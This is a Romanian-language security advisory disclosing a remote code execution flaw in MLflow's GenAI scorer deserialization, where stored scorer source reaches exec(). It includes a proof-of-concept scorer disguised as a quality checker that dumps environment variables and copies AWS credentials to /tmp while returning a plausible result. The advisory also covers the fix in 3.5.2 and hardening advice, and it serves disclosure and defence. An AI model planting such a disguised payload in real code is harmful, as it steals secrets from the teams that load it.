Execuție de cod la distanță prin deserializarea scorerelor GenAI în MLflow
Autor: Evan Harris
Risc: Ridicat
Componentă afectată: scorere GenAI din MLflow (mlflow/mlflow)
TL;DR
Mecanismul de deserializare a scorerelor GenAI din MLflow conținea o vulnerabilitate de execuție de cod la distanță. Utilitarul recreate_function() din scorer_utils.py transmitea date de scorer controlate de atacator (stocate în baza de date de urmărire a MLflow) direct funcției exec() din Python. Un scorer malițios înregistrat de un utilizator execută cod arbitrar pe mașina oricui îl recuperează și îl rulează ulterior, permițând un atac asupra lanțului de aprovizionare la nivelul unei întregi echipe de ML. Am raportat problema mentenanților MLflow, care au remediat-o restricționând înregistrarea și încărcarea scorerelor personalizate la mediile controlate de Databricks. Utilizatorii ar trebui să facă upgrade la MLflow 3.5.2 sau o versiune ulterioară.
Context
Modulul GenAI din MLflow permite echipelor să definească scorere, funcții Python care evaluează calitatea rezultatelor LLM (verificări de lungime, siguranța conținutului, formatare și așa mai departe). Scorerele pot fi create cu decoratorul @scorer, înregistrate pentru un experiment și recuperate ulterior după nume cu get_scorer(), astfel încât colegii să poată reutiliza o evaluare partajată.
Pentru ca acest lucru să funcționeze, MLflow serializează funcția de bază a scorerului și o stochează în baza de date de urmărire. Când scorerul este recuperat, MLflow reconstruiește funcția din acele date stocate. Pasul de reconstrucție este locul unde se afla vulnerabilitatea: sursa serializată era reconstituită prin apelarea funcției exec() din Python, care rulează orice cod i se dă. Deoarece datele stocate sunt controlate în totalitate de atacator, oricine putea înregistra un scorer putea planta cod care s-ar executa în procesul altui utilizator.
Prezentare generală
Vulnerabilitatea este declanșată de-a lungul unui singur lanț de apeluri de deserializare care se termină în exec():
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module]
B --> C[Victim imports and registers
the scorer with MLflow]
C --> D[Serialized function stored in
tracking database]
D --> E["get_scorer(name, experiment_id)
registry.py:571"]
E --> F["Scorer.model_validate()
base.py:222"]
F --> G["_reconstruct_decorator_scorer()
base.py:298"]
G --> H["recreate_function()
scorer_utils.py:131"]
H --> I["exec(attacker_source)"]
I --> J[Remote Code Execution
in victim process]
style A fill:#ffebee
style B fill:#ffebee
style C fill:#fff3e0
style D fill:#fff9c4
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#fff9c4
style H fill:#ffcdd2
style I fill:#ffcdd2
style J fill:#ffcdd2
Lanțul de apeluri este:
mlflow.genai.scorers.get_scorer()
→ Scorer.model_validate() # registry.py:571
→ _reconstruct_decorator_scorer() # base.py:222
→ recreate_function() # base.py:298
→ exec() # scorer_utils.py:131 ← REMOTE CODE EXECUTION
Scenariu de atac
- Un atacator creează un scorer care pare legitim (un “verificator de calitate” cu un docstring credibil), dar ascunde un payload malițios în corpul funcției.
- Atacatorul distribuie scorerul printr-un canal în care victima are încredere: un pachet PyPI, un depozit GitHub al echipei sau un modul Python partajat.
- O victimă importă scorerul și îl înregistrează în MLflow. Funcția serializată este scrisă în baza de date de urmărire.
- Mai târziu, posibil pe o altă mașină, de către un alt membru al echipei, la zile sau săptămâni distanță, cineva recuperează scorerul cu
get_scorer()și îl folosește. - În timpul deserializării,
recreate_function()apeleazăexec()pe sursa stocată. Payload-ul ascuns rulează cu drepturile depline ale procesului victimei.
Deoarece declanșarea este decuplată în timp și de utilizatorii care efectuează înregistrarea, atacul este silențios: un singur scorer malițios înregistrat o dată poate compromite pe oricine din echipă îl recuperează ulterior.
Demonstrație a conceptului
Scorerul malițios de mai jos se prezintă ca un verificator al calității rezultatelor. Corpul conține un payload care lasă un fișier marker, exfiltrează variabilele de mediu și recoltează credențiale AWS înainte de a returna un rezultat plauzibil pentru a evita suspiciunile:
from mlflow.genai.scorers import scorer
@scorer
def quality_checker(outputs):
"""
Quality checker for LLM outputs.
Validates that outputs meet quality standards:
- Minimum length requirements
- No offensive content
- Proper formatting
Returns:
bool: True if output passes quality checks
"""
# MALICIOUS PAYLOAD HIDDEN BELOW
import os
# Create proof file
os.system('touch /tmp/rce_supply_chain.txt')
os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')
# Exfiltrate environment variables
env_data = dict(os.environ)
with open('/tmp/exfiltrated_env.txt', 'w') as f:
f.write("EXFILTRATED ENVIRONMENT:\n")
for key, value in list(env_data.items())[:10]:
f.write(f'{key}={value}\n')
# Harvest AWS credentials
aws_creds_path = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds_path):
with open(aws_creds_path, 'r') as f_in:
with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
f_out.write(f_in.read())
# Return a valid result to avoid suspicion
return len(outputs) > 10
Victima recuperează scorerul partajat așa cum ar face-o în mod normal:
import mlflow
from mlflow.genai.scorers import get_scorer
# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")
scorer = get_scorer(name="quality_checker_v1", experiment_id="1")
Și apoi îl folosește:
result = scorer(outputs="This is test output to evaluate")
În acest moment RCE-ul se declanșează, iar payload-ul rulează în procesul victimei.
Impact
În funcție de payload-ul purtat în datele de scorer neîncredere, un atacator poate:
- Executa cod Python arbitrar cu drepturile depline ale procesului victimei
- Exfiltra date sensibile precum credențiale, variabile de mediu și cod sursă
- Recolta credențiale din locații comune (AWS, Docker, SSH)
- Stabili persistență pe mașina victimei
- Efectua mișcare laterală și recunoaștere a rețelei
Impactul este amplificat de natura de lanț de aprovizionare a defectului: un singur scorer malițios înregistrat de un singur membru al echipei poate compromite fiecare utilizator care îl recuperează ulterior, cu declanșarea producându-se silențios mult după înregistrare.
Răspunsul MLflow
După ce am divulgat problema prin procesul de divulgare coordonată al MLflow, mentenanții au abordat-o în pull request-ul #18493.
În loc să încerce să izoleze într-un sandbox sau să valideze sursa deserializată, mentenanții au eliminat capacitatea periculoasă în afara mediilor controlate: înregistrarea și încărcarea scorerelor personalizate bazate pe cod este acum restricționată la mediile de urmărire Databricks, unde setul de utilizatori care pot încărca scorere este controlat. Utilizatorii de pe alte backend-uri de urmărire sunt îndrumați spre alternative mai sigure, precum scorerele integrate și scorerele bazate pe make_judge(), care nu necesită execuția de cod arbitrar în timpul deserializării.
Remedierea a fost livrată în MLflow 3.5.2.
Recomandări
Pentru utilizatorii finali
- Faceți upgrade la MLflow 3.5.2 sau o versiune ulterioară.
- Înregistrați și recuperați scorere personalizate numai din surse în care aveți încredere deplină.
- Tratați datele de scorer dintr-o bază de date de urmărire ca pe cod neîncredere, nu ca pe date inerte. Oricine poate scrie în magazinul de urmărire poate rula cod pe fiecare consumator.
- Preferați scorerele integrate sau scorerele
make_judge(), care nu execută cod arbitrar în timpul deserializării. - Restricționați accesul de scriere la bazele de date de urmărire partajate și revizuiți scorerele înainte de reutilizarea lor într-o echipă.
Cronologie
| Dată | Eveniment |
|---|---|
| 20 octombrie 2025 | Vulnerabilitate raportată mentenanților MLflow prin divulgare coordonată (issue #18404) |
| 24 octombrie 2025 | MLflow integrează remedierea (PR #18493), lansată în v3.5.2 |
| 8 ianuarie 2026 | huntr a marcat problema drept duplicat |
| 8 iunie 2026 | Divulgare publică |